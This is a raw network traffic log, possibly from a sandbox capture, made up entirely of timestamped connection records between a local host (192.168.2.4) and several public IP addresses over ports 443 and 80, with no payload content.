Mar 14, 2025 10:08:32.492871046 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.492871046 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.492887974 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.492909908 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.493092060 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.493143082 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.493151903 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.493208885 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.493244886 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.493268013 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.493278980 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.493292093 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.493678093 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.493726015 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.493752956 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.493762016 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.493778944 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.493824005 CET	80	49739	142.250.185.67	192.168.2.4
Mar 14, 2025 10:08:32.493839025 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.493877888 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.493892908 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.493900061 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.493933916 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.494714022 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.494765043 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.494771004 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.494784117 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.494807005 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.494865894 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.494875908 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.494877100 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.494885921 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.494931936 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.504832029 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.562061071 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.562087059 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.562158108 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.562172890 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.562251091 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.562316895 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.562330961 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.562400103 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.562406063 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.562428951 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.562459946 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.562633038 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.562649012 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.562735081 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.562736034 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.562741995 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.562917948 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.562922955 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.562927008 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.562951088 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.562975883 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.562979937 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.563008070 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.563010931 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.563026905 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.563036919 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.563041925 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.563066959 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.563126087 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.563355923 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.563370943 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.563426018 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.563432932 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.563436985 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.563457966 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.563519001 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.563525915 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.563530922 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.563594103 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.581430912 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.581507921 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.581512928 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.581531048 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.581557035 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.581562042 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.581581116 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.581587076 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.581609011 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.581626892 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.581650972 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.581656933 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.581674099 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.581696033 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.581700087 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.581737041 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.581784010 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.581784010 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.581789970 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.581800938 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.581839085 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.581857920 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.581857920 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.581871033 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.581893921 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.582122087 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.582159042 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.582166910 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.582175970 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.582205057 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.582210064 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.582230091 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.582245111 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.582283020 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.582294941 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.582299948 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.582361937 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.582389116 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.582421064 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.582426071 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.582443953 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.582472086 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.583035946 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.583079100 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.583106041 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.583113909 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.583127022 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.583149910 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.583178043 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.583183050 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.583261967 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.583277941 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.583283901 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.583316088 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.583323002 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.583379030 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.583385944 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.583465099 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.583951950 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.583986998 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.584016085 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.584023952 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.584036112 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.584115982 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.584214926 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.587990046 CET	49735	443	192.168.2.4	104.17.24.14
Mar 14, 2025 10:08:32.588015079 CET	443	49735	104.17.24.14	192.168.2.4
Mar 14, 2025 10:08:32.632525921 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.632601976 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.632600069 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.632672071 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.633410931 CET	49734	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.633436918 CET	443	49734	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.675204992 CET	49740	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.675254107 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.675321102 CET	49740	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.675498962 CET	49740	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.675513029 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.676192045 CET	49741	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.676239014 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.676292896 CET	49741	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.676441908 CET	49741	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.676459074 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.691538095 CET	49742	443	192.168.2.4	157.240.253.1
Mar 14, 2025 10:08:32.691561937 CET	443	49742	157.240.253.1	192.168.2.4
Mar 14, 2025 10:08:32.691627026 CET	49742	443	192.168.2.4	157.240.253.1
Mar 14, 2025 10:08:32.691689968 CET	49743	443	192.168.2.4	157.240.253.1
Mar 14, 2025 10:08:32.691714048 CET	443	49743	157.240.253.1	192.168.2.4
Mar 14, 2025 10:08:32.691764116 CET	49743	443	192.168.2.4	157.240.253.1
Mar 14, 2025 10:08:32.691840887 CET	49742	443	192.168.2.4	157.240.253.1
Mar 14, 2025 10:08:32.691860914 CET	443	49742	157.240.253.1	192.168.2.4
Mar 14, 2025 10:08:32.691919088 CET	49743	443	192.168.2.4	157.240.253.1
Mar 14, 2025 10:08:32.691931963 CET	443	49743	157.240.253.1	192.168.2.4
Mar 14, 2025 10:08:32.753070116 CET	49744	443	192.168.2.4	157.240.253.1
Mar 14, 2025 10:08:32.753103971 CET	443	49744	157.240.253.1	192.168.2.4
Mar 14, 2025 10:08:32.753180981 CET	49744	443	192.168.2.4	157.240.253.1
Mar 14, 2025 10:08:32.753344059 CET	49744	443	192.168.2.4	157.240.253.1
Mar 14, 2025 10:08:32.753359079 CET	443	49744	157.240.253.1	192.168.2.4
Mar 14, 2025 10:08:32.922760963 CET	443	49738	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.923031092 CET	49738	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.923069954 CET	443	49738	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.923199892 CET	49738	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:32.923206091 CET	443	49738	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:32.925798893 CET	443	49737	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:32.925985098 CET	49737	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:32.926003933 CET	443	49737	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:32.926234007 CET	49737	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:32.926238060 CET	443	49737	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:33.020584106 CET	443	49738	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.020668983 CET	443	49738	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.020701885 CET	443	49738	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.020739079 CET	443	49738	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.020755053 CET	49738	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.020781040 CET	443	49738	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.020798922 CET	49738	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.028245926 CET	443	49738	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.028292894 CET	443	49738	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.028296947 CET	49738	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.028304100 CET	443	49738	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.028357983 CET	49738	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.028366089 CET	443	49738	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.028400898 CET	443	49738	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.028542995 CET	49738	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.030929089 CET	49745	443	192.168.2.4	142.250.185.132
Mar 14, 2025 10:08:33.030960083 CET	443	49745	142.250.185.132	192.168.2.4
Mar 14, 2025 10:08:33.031045914 CET	49745	443	192.168.2.4	142.250.185.132
Mar 14, 2025 10:08:33.031260014 CET	49745	443	192.168.2.4	142.250.185.132
Mar 14, 2025 10:08:33.031275988 CET	443	49745	142.250.185.132	192.168.2.4
Mar 14, 2025 10:08:33.032171965 CET	49738	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.032191992 CET	443	49738	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.099704981 CET	80	49739	142.250.185.67	192.168.2.4
Mar 14, 2025 10:08:33.105120897 CET	49739	80	192.168.2.4	142.250.185.67
Mar 14, 2025 10:08:33.109852076 CET	80	49739	142.250.185.67	192.168.2.4
Mar 14, 2025 10:08:33.134895086 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.135205984 CET	49740	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.135231972 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.135394096 CET	49740	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.135400057 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.156296015 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.156621933 CET	49741	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.156661034 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.157032967 CET	49741	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.157042980 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.232937098 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.233206987 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.233239889 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.233275890 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.233274937 CET	49740	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.233297110 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.233338118 CET	49740	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.233345985 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.233386040 CET	49740	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.240612984 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.240678072 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.240708113 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.240725994 CET	49740	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.240739107 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.240771055 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.240791082 CET	49740	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.240797997 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.240835905 CET	49740	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.248256922 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.260200977 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.260690928 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.260726929 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.260756016 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.260757923 CET	49741	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.260786057 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.260801077 CET	49741	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.268443108 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.268520117 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.268570900 CET	49741	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.268587112 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.268712044 CET	49741	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.268717051 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.268728971 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.268776894 CET	49741	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.268783092 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.276684999 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.276815891 CET	49741	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.276845932 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.283582926 CET	80	49739	142.250.185.67	192.168.2.4
Mar 14, 2025 10:08:33.301728964 CET	49740	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.319503069 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.319575071 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.319607019 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.319628000 CET	49740	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.319638014 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.319648027 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.319677114 CET	49740	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.320425987 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.320457935 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.320487022 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.320508957 CET	49740	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.320518970 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.320543051 CET	49740	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.321155071 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.321185112 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.321197987 CET	49740	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.321203947 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.321249008 CET	49740	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.321255922 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.326741934 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.326786995 CET	49740	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.326793909 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.326967001 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.326992989 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.327014923 CET	49740	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.327020884 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.327059031 CET	49740	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.327508926 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.327559948 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.327589989 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.327617884 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.327632904 CET	49740	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.327641010 CET	443	49740	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.327662945 CET	49740	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.332369089 CET	49741	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.332581997 CET	49739	80	192.168.2.4	142.250.185.67
Mar 14, 2025 10:08:33.342104912 CET	443	49743	157.240.253.1	192.168.2.4
Mar 14, 2025 10:08:33.342165947 CET	49743	443	192.168.2.4	157.240.253.1
Mar 14, 2025 10:08:33.343209982 CET	443	49742	157.240.253.1	192.168.2.4
Mar 14, 2025 10:08:33.343281984 CET	49742	443	192.168.2.4	157.240.253.1
Mar 14, 2025 10:08:33.343307972 CET	49743	443	192.168.2.4	157.240.253.1
Mar 14, 2025 10:08:33.343314886 CET	443	49743	157.240.253.1	192.168.2.4
Mar 14, 2025 10:08:33.343549967 CET	443	49743	157.240.253.1	192.168.2.4
Mar 14, 2025 10:08:33.343842983 CET	443	49737	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:33.343899012 CET	443	49737	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:33.343936920 CET	443	49737	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:33.343940973 CET	49737	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:33.343955994 CET	443	49737	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:33.344000101 CET	49737	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:33.344005108 CET	443	49737	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:33.344038963 CET	49743	443	192.168.2.4	157.240.253.1
Mar 14, 2025 10:08:33.344053984 CET	443	49737	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:33.344103098 CET	49737	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:33.344108105 CET	443	49737	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:33.344372988 CET	49742	443	192.168.2.4	157.240.253.1
Mar 14, 2025 10:08:33.344377995 CET	443	49742	157.240.253.1	192.168.2.4
Mar 14, 2025 10:08:33.344415903 CET	443	49737	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:33.344454050 CET	443	49737	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:33.344481945 CET	49737	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:33.344486952 CET	443	49737	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:33.344527960 CET	49737	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:33.344532967 CET	443	49737	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:33.344626904 CET	443	49742	157.240.253.1	192.168.2.4
Mar 14, 2025 10:08:33.344916105 CET	49742	443	192.168.2.4	157.240.253.1
Mar 14, 2025 10:08:33.348432064 CET	443	49737	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:33.348489046 CET	49737	443	192.168.2.4	104.21.70.234
Mar 14, 2025 10:08:33.348495007 CET	443	49737	104.21.70.234	192.168.2.4
Mar 14, 2025 10:08:33.353050947 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.353194952 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.353244066 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.353272915 CET	49741	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.353287935 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.353328943 CET	49741	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.353328943 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.353341103 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.353396893 CET	49741	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.353403091 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.354177952 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.354212999 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.354259014 CET	49741	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.354265928 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.354310036 CET	49741	443	192.168.2.4	151.101.65.229
Mar 14, 2025 10:08:33.354720116 CET	443	49741	151.101.65.229	192.168.2.4
Mar 14, 2025 10:08:33.354777098 CET	443	49741	151.101.65.229	192.168.2.4
